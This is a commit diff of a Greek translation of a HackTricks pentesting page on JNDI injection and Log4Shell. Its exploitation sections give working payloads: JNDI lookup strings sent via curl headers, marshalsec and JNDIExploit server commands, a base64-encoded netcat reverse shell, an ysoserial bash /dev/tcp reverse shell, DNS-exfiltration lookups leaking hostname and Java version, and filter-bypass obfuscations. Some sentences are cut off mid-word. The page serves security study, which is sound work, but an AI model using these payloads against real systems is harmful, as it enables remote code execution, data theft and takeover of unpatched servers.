Translated ['pentesting-web/deserialization/jndi-java-naming-and-directo

This commit is contained in:
Translator 2024-03-16 12:11:28 +00:00
parent d49d4f13eb
commit bf3d9aea4c

View file

@ -9,14 +9,14 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,11 +24,11 @@
## Βασικές Πληροφορίες
Το JNDI, ενσωματωμένο στην Java από τα τέλη της δεκαετίας του 1990, λειτουργεί ως υπηρεσία καταλόγου, επιτρέποντας σε προγράμματα Java να εντοπίζουν δεδομένα ή αντικείμενα μέσω ενός συστήματος ονοματολογίας. Υποστηρίζει διάφορες υπηρεσίες καταλόγου μέσω διεπαφών παροχέα υπηρεσιών (SPIs), επιτρέποντας την ανάκτηση δεδομένων από διαφορετικά συστήματα, συμπεριλαμβανομένων απομακρυσμένων αντικειμένων Java. Συνήθεις SPIs περιλαμβάνουν το CORBA COS, το Java RMI Registry και το LDAP.
Το JNDI, ενσωματωμένο στην Java από τα τέλη της δεκαετίας του 1990, λειτουργεί ως υπηρεσία καταλόγου, επιτρέποντας σε προγράμματα Java να εντοπίζουν δεδομένα ή αντικείμενα μέσω ενός συστήματος ονοματολογίας. Υποστηρίζει διάφορες υπηρεσίες καταλόγου μέσω διεπαφών παροχέα υπηρεσιών (SPIs), επιτρέποντας την ανάκτηση δεδομένων από διαφορετικά συστήματα, συμπεριλαμβανομένων απομακρυσμένων αντικειμένων Java. Οι κοινές SPIs περιλαμβάνουν το CORBA COS, το Μητρώο Java RMI και το LDAP.
### Αναφορά Ονοματολογίας JNDI
Τα αντικείμενα Java μπορούν να αποθηκεύονται και ανακτώνται χρησιμοποιώντας Αναφορές Ονοματολογίας JNDI, οι οποίες έρχονται σε δύο μορφές:
Τα αντικείμενα Java μπορούν να αποθηκευτούν και ανακτηθούν χρησιμοποιώντας Αναφορές Ονοματολογίας JNDI, οι οποίες έχουν δύο μορφές:
* **Διευθύνσεις Αναφοράς**: Καθορίζουν την τοποθεσία ενός αντικειμένου (π.χ., _rmi://server/ref_), επιτρέποντας την άμεση ανάκτηση από την καθορισμένη διεύθυνση.
* **Απομακρυσμένο Εργοστάσιο**: Αναφέρεται σε μια απομακρυσμένη κλάση εργοστασίου. Όταν προσπελαστεί, η κλάση λήψης και εκτέλεσης από την απομακρυσμένη τοποθεσία.
@ -39,7 +39,7 @@
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` από προεπιλογή από JDK 6u141, 7u131, 8u121, αποκλείοντας την εκτέλεση απομακρυσμένων αντικειμένων Java. Εάν οριστεί σε `true`, η απομακρυσμένη εκτέλεση κώδικα είναι δυνατή χωρίς επίβλεψη Διαχειριστή Ασφαλείας.
* **CORBA**: Δεν έχει συγκεκριμένη ιδιότητα, αλλά ο Διαχειριστής Ασφαλείας είναι πάντα ενεργός.
Ωστόσο, ο **Διαχειριστής Ονοματολογίας**, υπεύθυνος για την επίλυση των συνδέσεων JNDI, δεν διαθέτει ενσωματωμένα μηχανισμούς ασφαλείας, με δυνητική δυνατότητα ανάκτησης αντικειμένων από οποιαδήποτε πηγή. Αυτό αποτελεί κίνδυνο καθώς οι προστασίες RMI, LDAP και CORBA μπορούν να παρακαμφθούν, οδηγώντας στη φόρτωση αυθαίρετων αντικειμένων Java ή στην εκμετάλλευση υπαρχόντων συστατικών εφαρμογής (gadgets) για την εκτέλεση κακόβουλου κώδικα.
Ωστόσο, ο **Διαχειριστής Ονοματολογίας**, υπεύθυνος για την επίλυση των συνδέσεων JNDI, δεν διαθέτει ενσωματωμένα μηχανισμούς ασφαλείας, με τη δυνατότητα ανάκτησης αντικειμένων από οποιαδήποτε πηγή. Αυτό αποτελεί κίνδυνο καθώς οι προστασίες RMI, LDAP και CORBA μπορούν να παρακαμφθούν, οδηγώντας στη φόρτωση αυθαίρετων αντικειμένων Java ή στην εκμετάλλευση υπαρχόντων συστατικών εφαρμογής (gadgets) για την εκτέλεση κακόβουλου κώδικα.
Παραδείγματα εκμετάλλευσης διευθύνσεων URL περιλαμβάνουν:
@ -47,7 +47,7 @@
* _ldap://attacker-server/bar_
* _iiop://attacker-server/bar_
Παρά τις προστασίες, παραμένουν ευπάθειες, κυρίως λόγω της έλλειψης προστασίας κατά τη φόρτωση JNDI από μη αξιόπιστες πηγές και τη δυνατότητα παράκαμψης των υπαρχουσών προστασιών.
Παρά τις προστασίες, παραμένουν ευπάθειες, κυρίως λόγω της έλλειψης προστασίας κατά τη φόρτωση JNDI από μη αξιόπιστες πηγές και τη δυνατότητα παράκαμψης υπαρχουσών προστασιών.
### Παράδειγμα JNDI
@ -59,10 +59,10 @@
Το CORBA (Common Object Request Broker Architecture) χρησιμοποιεί ένα **Interoperable Object Reference (IOR)** για τη μοναδική ταυτοποίηση απομακρυσμένων αντικειμένων. Αυτή η αναφορά περιλαμβάνει βασικές πληροφορίες όπως:
* **Αναγνωριστικό Τύπου**: Μοναδικό αναγνωριστικό για μια διεπαφή.
* **Ταυτότητα Τύπου**: Μοναδικός αναγνωριστικός για μια διεπαφή.
* **Βάση Κώδικα**: URL για την απόκτηση της κλάσης stub.
Σημαντικό να σημειωθεί ότι το CORBA δεν είναι ευάλωτο από φύσης. Η διασφάλιση της ασφάλειας συνήθως περιλαμβάνει:
Είναι σημαντικό να σημειωθεί ότι το CORBA δεν είναι ευάλωτο από μόνο του. Η διασφάλιση της ασφάλειας συνήθως περιλαμβάνει:
* Εγκατάσταση ενός **Διαχειριστή Ασφαλείας**.
* Ρύθμιση του Διαχειριστή Ασφαλείας για να επιτρέπει συνδέσεις σε πιθανώς κακόβουλες βάσεις κώδικα. Αυτό μπορεί να επιτευχθεί μέσω:
@ -73,17 +73,17 @@
### Περιβάλλον RMI
Για το RMI (Remote Method Invocation), η κατάσταση είναι κάπως διαφορετική. Όπως και με το CORBA, η φόρτωση αυθαίρετων κλάσεων περιορίζεται από προεπιλογή. Για να εκμεταλλευτεί κάποιος το RMI, συνήθως θα χρειαστεί να παρακάμψει τον Διαχειριστή Ασφαλείας, μια επιτυχία που είναι επίσης σημαντική στο CORBA.
Για το RMI (Remote Method Invocation), η κατάσταση είναι κάπως διαφορετική. Όπως και με το CORBA, η φόρτωση αυθαίρετων κλάσεων περιορίζεται από προεπιλογή. Για να εκμεταλλευτεί κανείς το RMI, συνήθως θα χρειαστεί να παρακάμψει τον Διαχειριστή Ασφαλείας, μια επιτυχία που είναι επίσης σημαντική στο CORBA.
### LDAP
Καταρχάς, πρέπει να διακρίνουμε μεταξύ Αναζήτησης και Αναζήτησης.\
Μια **αναζήτηση** θα χρησιμοποιήσει ένα URL όπ
Μια **αναζήτηση** θα χρησιμοποιήσε
## Επισκόπηση των CVEs που σχετίζονται με το Log4Shell
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Κρίσιμο]**
Αυτή η ευπάθεια είναι ένα κρίσιμο σφάλμα **μη αξιόπιστης απεικονιοποίησης** στο στοιχείο `log4j-core`, επηρεάζοντας εκδόσεις από 2.0-beta9 έως 2.14.1. Επιτρέπει την **εκτέλεση κώδικα απομακρυσμένα (RCE)**, επιτρέποντας στους επιτιθέμενους να αναλάβουν τα συστήματα. Το πρόβλημα αναφέρθηκε από τον Chen Zhaojun από την Ομάδα Ασφαλείας του Alibaba Cloud και επηρεάζει διάφορα πλαίσια Apache. Η αρχική διόρθωση στην έκδοση 2.15.0 ήταν ανεπαρκής. Οι κανόνες Sigma για την άμυνα είναι διαθέσιμοι ([Κανόνας 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Κανόνας 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Αυτή η ευπάθεια είναι ένα κρίσιμο σφάλμα **μη αξιόπιστης απεικονιοποίησης** στο στοιχείο `log4j-core`, επηρεάζοντας εκδόσεις από 2.0-beta9 έως 2.14.1. Επιτρέπει την **εκτέλεση κώδικα από απόσταση (RCE)**, επιτρέποντας στους επιτιθέμενους να αναλάβουν τα συστήματα. Το πρόβλημα αναφέρθηκε από τον Chen Zhaojun από την Ομάδα Ασφαλείας του Alibaba Cloud και επηρεάζει διάφορα πλαισία Apache. Η αρχική διόρθωση στην έκδοση 2.15.0 ήταν ανεπαρκής. Οι κανόνες Sigma για την άμυνα είναι διαθέσιμοι ([Κανόνας 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Κανόνας 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Κρίσιμο]**
@ -135,7 +135,7 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
Αυτό μπορεί να είναι πολύ χρήσιμο για 2 πράγματα:
* Για την **επαλήθευση** της ευπάθειας
* Για την **εξαγωγή πληροφοριών** καταχρώμενοι την ευπάθεια
* Για την **εξαγωγή πληροφοριών** καταχρώντας την ευπάθεια
Για παράδειγμα, θα μπορούσατε να ζητήσετε κάτι σαν:\
ή σαν `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** και αν ληφθεί μια **αίτηση DNS με την τιμή της μεταβλητής περιβάλλοντος**, τότε γνωρίζετε ότι η εφαρμογή είναι ευάλωτη.
@ -196,7 +196,7 @@ Any other env variable name that could store sensitive information
{% hint style="info" %}
Οι υπολογιστές που εκτελούνται σε εκδόσεις JDK πάνω από 6u141, 7u131 ή 8u121 προστατεύονται από το διάνυσμα επίθεσης φόρτωσης κλάσης LDAP. Αυτό οφείλεται στην προεπιλεγμένη απενεργοποίηση του `com.sun.jndi.ldap.object.trustURLCodebase`, το οποίο εμποδίζει το JNDI από το να φορτώσει έναν απομακρυσμένο κωδικό βάσης μέσω LDAP. Ωστόσο, είναι σημαντικό να σημειωθεί ότι αυτές οι εκδόσεις **δεν προστατεύονται ενάντια στο διάνυσμα επίθεσης αποσειριοποίησης**.
Για τους επιτιθέμενους που στοχεύουν στην εκμετάλλευση αυτών των υψηλότερων εκδόσεων JDK, είναι απαραίτητο να χρησιμοποιήσουν ένα **αξιόπιστο gadget** μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτόν τον σκοπό. Αντίθετα, η εκμετάλλευση χαμηλότερων εκδόσεων JDK είναι σχετικά ευκολότερη καθώς αυτές οι εκδόσεις μπορούν να ρυθμιστούν για να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις.
Για τους επιτιθέμενους που στοχεύουν στην εκμετάλλευση αυτών των υψηλότερων εκδόσεων JDK, είναι απαραίτητο να χρησιμοποιήσουν ένα **αξιόπιστο gadget** μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτόν τον σκοπό. Αντίθετα, η εκμετάλλευση χαμηλότερων εκδόσεων JDK είναι σχετικά πιο εύκολη καθώς αυτές οι εκδόσεις μπορούν να ρυθμιστούν για να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις.
Για **περισσότερες πληροφορίες** (_όπως περιορισμοί στα διανύσματα RMI και CORBA_) **ελέγξτε την προηγούμενη ενότητα αναφοράς ονομασίας JNDI** ή [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
{% endhint %}
@ -209,7 +209,7 @@ Any other env variable name that could store sensitive information
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
Για να προτρέψετε τον στόχο να φορτώσει κώδικα αντιστρόφου κελύφους, δημιουργήστε ένα αρχείο Java με το όνομα `Exploit.java` με το παρακάτω περιεχόμενο:
Για να προτρέψετε τον στόχο να φορτώσει κώδικα αντιστρεπτικού κελύφους, δημιουργήστε ένα αρχείο Java με το όνομα `Exploit.java` με το παρακάτω περιεχόμενο:
```java
public class Exploit {
static {
@ -227,17 +227,17 @@ e.printStackTrace();
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**Σημείωση:** Αυτή η εκμετάλλευση βασίζεται στη διαμόρφωση της Java που επιτρέπει τη μακρινή φόρτωση κώδικα μέσω του LDAP. Εάν αυτό δεν επιτρέπεται, σκεφτείτε την εκμετάλλευση ενός αξιόπιστου τάξης για την εκτέλεση αυθαίρετου κώδικα.
**Σημείωση:** Αυτή η εκμετάλλευση βασίζεται στη ρύθμιση της Java που επιτρέπει τη μακρινή φόρτωση κώδικα μέσω του LDAP. Εάν αυτό δεν επιτρέπεται, σκεφτείτε την εκμετάλλευση ενός αξιόπιστου τάξης για αυθαίρετη εκτέλεση κώδικα.
### RCE - **JNDIExploit**
{% hint style="info" %}
Σημειώστε ότι για κάποιο λόγο ο συγγραφέας αφαίρεσε αυτό το έργο από το github μετά την ανακάλυψη του log4shell. Μπορείτε να βρείτε μια αποθηκευμένη έκδοση στο [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) αλλά αν θέλετε να σεβαστείτε την απόφαση του συγγραφέα χρησιμοποιήστε ένα διαφορετικό τρόπο για την εκμετάλλευση αυτού του ευπαθούς σημείου.
Σημειώστε ότι για κάποιο λόγο ο συγγραφέας αφαίρεσε αυτό το έργο από το github μετά την ανακάλυψη του log4shell. Μπορείτε να βρείτε μια αποθηκευμένη έκδοση στο [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) αλλά αν θέλετε να σεβαστείτε την απόφαση του συγγραφέα χρησιμοποιήστε ένα διαφορετικό τρόπο για να εκμεταλλευτείτε αυτήν την ευπάθεια.
Επιπλέον, δεν μπορείτε να βρείτε τον πηγαίο κώδικα στο wayback machine, οπότε είτε αναλύστε τον πηγαίο κώδικα, είτε εκτελέστε το jar γνωρίζοντας ότι δεν ξέρετε τι εκτελείτε.
{% endhint %}
Για αυτό το παράδειγμα μπορείτε απλά να εκτελέσετε αυτόν τον **ευπαθή διακομιστή web για το log4shell** στη θύρα 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_στο README θα βρείτε πώς να τον εκτελέσετε_). Αυτή η ευπαθής εφαρμογή καταγράφει με μια ευπαθή έκδοση του log4shell το περιεχόμενο της κεφαλίδας αιτήματος HTTP _X-Api-Version_.
Για αυτό το παράδειγμα μπορείτε απλά να εκτελέσετε αυτόν τον **ευπάθεια web server για το log4shell** στη θύρα 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_στο README θα βρείτε πώς να το εκτελέσετε_). Αυτή η ευπάθεια εφαρμογή καταγράφει με μια ευπάθεια έκδοση του log4shell το περιεχόμενο της κεφαλίδας αιτήματος HTTP _X-Api-Version_.
Στη συνέχεια, μπορείτε να κατεβάσετε το αρχείο **JNDIExploit** jar και να το εκτελέσετε με:
```bash
@ -246,7 +246,7 @@ unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
Μετά την ανάγνωση του κώδικα μόλις λίγα λεπτά, στο _com.feihong.ldap.LdapServer_ και _com.feihong.ldap.HTTPServer_ μπορείτε να δείτε πώς **δημιουργούνται οι διακομιστές LDAP και HTTP**. Ο διακομιστής LDAP θα καταλάβει ποιο φορτίο πρέπει να εξυπηρετηθεί και θα ανακατευθύνει το θύμα στον διακομιστή HTTP, ο οποίος θα εξυπηρετήσει την εκμετάλλευση.\
Στο _com.feihong.ldap.gadgets_ μπορείτε να βρείτε **κάποια συγκεκριμένα gadgets** που μπορούν να χρησιμοποιηθούν για να εκτελεστεί η επιθυμητή ενέργεια (ενδεχομένως να εκτελεστεί αυθαίρετος κώδικας). Και στο _com.feihong.ldap.template_ μπορείτε να δείτε τις διαφορετικές κλάσεις προτύπων που θα **δημιουργήσουν τις εκμεταλλεύσεις**.
Στο _com.feihong.ldap.gadgets_ μπορείτε να βρείτε **κάποιες συγκεκριμένες συσκευές** που μπορούν να χρησιμοποιηθούν για να εκτελεστεί η επιθυμητή ενέργεια (ενδεχομένως να εκτελεστεί αυθαίρετος κώδικας). Και στο _com.feihong.ldap.template_ μπορείτε να δείτε τις διαφορετικές κλάσεις προτύπων που θα **δημιουργήσουν τις εκμεταλλεύσεις**.
Μπορείτε να δείτε όλες τις διαθέσιμες εκμεταλλεύσεις με **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Κάποιες χρήσιμες είναι:
```bash
@ -264,13 +264,13 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
Κατά την αποστολή των επιθέσεων θα δείτε κάποια αποτελέσματα στο τερματικό όπου εκτελέστηκε το **JNDIExploit-1.2-SNAPSHOT.jar**.
Όταν στέλνετε τις επιθέσεις, θα δείτε κάποια αποτελέσματα στο τερματικό όπου εκτελέστηκε το **JNDIExploit-1.2-SNAPSHOT.jar**.
**Θυμηθείτε να ελέγξετε `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` για άλλες επιλογές εκμετάλλευσης. Επιπλέον, σε περίπτωση που το χρειάζεστε, μπορείτε να αλλάξετε τη θύρα των διακομιστών LDAP και HTTP.**
**Να θυμάστε να ελέγχετε `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` για άλλες επιλογές εκμετάλλευσης. Επιπλέον, σε περίπτωση που το χρειάζεστε, μπορείτε να αλλάξετε τη θύρα των διακομιστών LDAP και HTTP.**
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
Με παρόμοιο τρόπο με την προηγούμενη εκμετάλλευση, μπορείτε να δοκιμάσετε να χρησιμοποιήσετε το [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) για να εκμεταλλευτείτε αυτήν την ευπάθεια.\
Με έναν παρόμοιο τρόπο με την προηγούμενη εκμετάλλευση, μπορείτε να δοκιμάσετε να χρησιμοποιήσετε το [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) για να εκμεταλλευτείτε αυτήν την ευπάθεια.\
Μπορείτε να δημιουργήσετε τα URLs προς αποστολή στο θύμα εκτελώντας:
```bash
# Get reverse shell in port 4444 (only unix)
@ -279,24 +279,28 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_Αυτή η επίθεση χρησιμοποιώντας ένα προσαρμοσμένο δημιουργημένο αντικείμενο Java θα λειτουργήσει σε εργαστήρια όπως το **THM solar room**. Ωστόσο, αυτό συνήθως δεν λειτουργεί (καθώς από προεπιλογή το Java δεν είναι ρυθμισμένο να φορτώνει απομακρυσμένη βάση κώδικα χρησιμοποιώντας LDAP) πιθανόν επειδή δεν εκμεταλλεύεται ένα αξιόπιστης κλάσης για να εκτελέσει αυθαίρετο κώδικα._
_Αυτή η επίθεση χρησιμοποιώντας ένα προσαρμοσμένο δημιουργημένο αντικείμενο Java θα λειτουργήσει σε εργαστήρια όπως το **THM solar room**. Ωστόσο, αυτό συνήθως δεν λειτουργεί (καθώς από προεπιλογή το Java δεν είναι ρυθμισμένο να φορτώνει απομακρυσμένη βάση κώδικα χρησιμοποιώντας LDAP) νομίζω επειδή δεν εκμεταλλεύεται ένα αξιόπιστη κλάση για να εκτελέσει αυθαίρετο κώδικα._
### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) είναι ένα άλλο εργαλείο για τη δημιουργία **λειτουργικών συνδέσεων JNDI** και παρέχει υπηρεσίες φόντου ξεκινώντας RMI server, LDAP server και HTTP server.\
### RCE - ysoserial & JNDI-Exploit-Kit
Αυτή η επιλογή είναι πολύ χρήσιμη για επιθέσεις σε **εκδόσεις Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους**. Συνεπώς, το **ysoserial** θα χρησιμοποιηθεί για τη δημιουργία **σειριοποιήσεων αξιόπιστων κλάσεων** που μπορούν να χρησιμοποιηθούν ως gadgets για την **εκτέλεση αυθαίρετου κώδικα** (_η αξιόπιστη κλάση που καταχράται το ysoserial πρέπει να χρησιμοποιηθεί από το πρόγραμμα Java θύματος για να λειτουργήσει η εκμετάλλευση_).
Αυτή η επιλογή είναι πραγματικά χρήσιμη για επιθέσεις σε **εκδόσεις Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους**. Επομένως, το **ysoserial** θα χρησιμοποιηθεί για τη δημιουργία **σειριοποιήσεων αξιόπιστων κλάσεων** που μπορούν να χρησιμοποιηθούν ως gadgets για την **εκτέλεση αυθαίρετου κώδικα** (_η αξιόπιστη κλάση που καταχράται το ysoserial πρέπει να χρησιμοποιηθεί από το πρόγραμμα Java θύματος για να λειτουργήσει η εκμετάλλευση_).
Χρησιμοποιώντας το **ysoserial** ή το [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) μπορείτε να δημιουργήσετε την εκμετάλλευση αποσειριοποίησης που θα ληφθεί μέσω JNDI:
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Χρησιμοποιήστε το [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) για να δημιουργήσετε **συνδέσμους JNDI** όπου το exploit θα περιμένει συνδέσεις από τις ευάλωτες μηχανές. Μπορείτε να εξυπηρετήσετε **διαφορετικά exploits που μπορούν να δημιουργηθούν αυτόματα** από το JNDI-Exploit-Kit ή ακόμα και τα **δικά σας φορτία αποσυσκευοποίησης** (που δημιουργήθηκαν από εσάς ή το ysoserial).
Χρησιμοποιήστε το [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) για να δημιουργήσετε **JNDI συνδέσμους** όπου το exploit θα περιμένει συνδέσεις από τις ευάλωτες μηχανές. Μπορείτε να εξυπηρετήσετε **διαφορετικά exploits που μπορούν να δημιουργηθούν αυτόματα** από το JNDI-Exploit-Kit ή ακόμα και τα **δικά σας payloads αποσειροποίησης** (που έχουν δημιουργηθεί από εσάς ή το ysoserial).
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
![](<../../.gitbook/assets/image (642) (1) (1).png>)
Τώρα μπορείτε εύκολα να χρησιμοποιήσετε ένα δημιουργημένο JNDI σύνδεσμο για να εκμεταλλευτείτε την ευπάθεια και να λάβετε ένα **αντίστροφο κέλυφος** απλά στέλνοντας σε μια ευάθροιστη έκδοση του log4j: **`${ldap://10.10.14.10:1389/generated}`**
Τώρα μπορείτε εύκολα να χρησιμοποιήσετε ένα δημιουργημένο σύνδεσμο JNDI για να εκμεταλλευτείτε την ευπάθεια και να λάβετε ένα **αντίστροφο κέλυφος** απλά στέλνοντας σε μια ευάθροιστη έκδοση του log4j: **`${ldap://10.10.14.10:1389/generated}`**
### Παρακάμψεις
```java
@ -330,11 +334,11 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
## Μετά την Εκμετάλλευση του Log4Shell
Σε αυτό το [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) εξηγείται καλά πώς είναι πιθανό να καταχραστεί κάποιος μερικά χαρακτηριστικά του **Log4J**.
Σε αυτό το [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) εξηγείται καλά πώς είναι πιθανό **να καταχραστείτε** κάποιες λειτουργίες του **Log4J**.
Η [**σελίδα ασφαλείας**](https://logging.apache.org/log4j/2.x/security.html) του Log4j περιέχει μερικές ενδιαφέρουσες προτάσεις:
> Από την έκδοση 2.16.0 (για Java 8), η δυνατότητα **αναζήτησης μηνυμάτων έχει αφαιρεθεί πλήρως**. **Οι αναζητήσεις στη διαμόρφωση εξακολουθούν να λειτουργούν**. Επιπλέον, το Log4j τώρα απενεργοποιεί την πρόσβαση στο JNDI από προεπιλογή. Οι αναζητήσεις JNDI στη διαμόρφωση πρέπει πλέον να ενεργοποιούνται ρητά.
> Από την έκδοση 2.16.0 (για Java 8), η λειτουργία **αναζήτησης μηνυμάτων έχει αφαιρεθεί πλήρως**. **Οι αναζητήσεις στη διαμόρφωση εξακολουθούν να λειτουργούν**. Επιπλέον, το Log4j τώρα απενεργοποιεί την πρόσβαση στο JNDI από προεπιλογή. Οι αναζητήσεις JNDI στη διαμόρφωση πρέπει πλέον να ενεργοποιούνται ρητά.
> Από την έκδοση 2.17.0, (και 2.12.3 και 2.3.1 για Java 7 και Java 6), **μόνο οι συμβολοσειρές αναζήτησης στη διαμόρφωση επεκτείνονται αναδρομικά**· σε οποιαδήποτε άλλη χρήση, επιλύεται μόνο η αναζήτηση στο επίπεδο κορυφής, και οι οποιεσδήποτε ενσωματωμένες αναζητήσεις δεν επιλύονται.
@ -354,7 +358,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
### Εξαγωγή μέσω Εξαιρέσεων
Στο CTF, **δεν μπορούσατε να έχετε πρόσβαση στο stderr** της εφαρμογής Java χρησιμοποιώντας το log4J, αλλά οι **εξαιρέσεις του Log4J στέλνονται στο stdout**, το οποίο εκτυπώνεται στην εφαρμογή Python. Αυτό σήμαινε ότι εκτυπώνοντας μια εξαίρεση μπορούσαμε να έχουμε πρόσβαση στο περιεχόμενο. Μια εξαίρεση για την εξαγωγή της σημαίας ήταν: **`${java:${env:FLAG}}`.** Αυτό λειτουργεί επειδή **`${java:CTF{blahblah}}`** δεν υπάρχει και μια εξαίρεση με την τιμή της σημαίας θα εμφανιστεί:
Στο CTF, **δεν μπορούσατε να έχετε πρόσβαση στο stderr** της εφαρμογής Java χρησιμοποιώντας το log4J, αλλά οι εξαιρέσεις του Log4J **στέλνονται στο stdout**, το οποίο εκτυπώνεται στην εφαρμογή Python. Αυτό σήμαινε ότι εκτυπώνοντας μια εξαίρεση μπορούσαμε να έχουμε πρόσβαση στο περιεχόμενο. Μια εξαίρεση για την εξαγωγή της σημαίας ήταν: **`${java:${env:FLAG}}`.** Αυτό λειτουργεί επειδή **`${java:CTF{blahblah}}`** δεν υπάρχει και μια εξαίρεση με την τιμή της σημαίας θα εμφανιστεί:
![](<../../.gitbook/assets/image (157).png>)
@ -366,13 +370,13 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
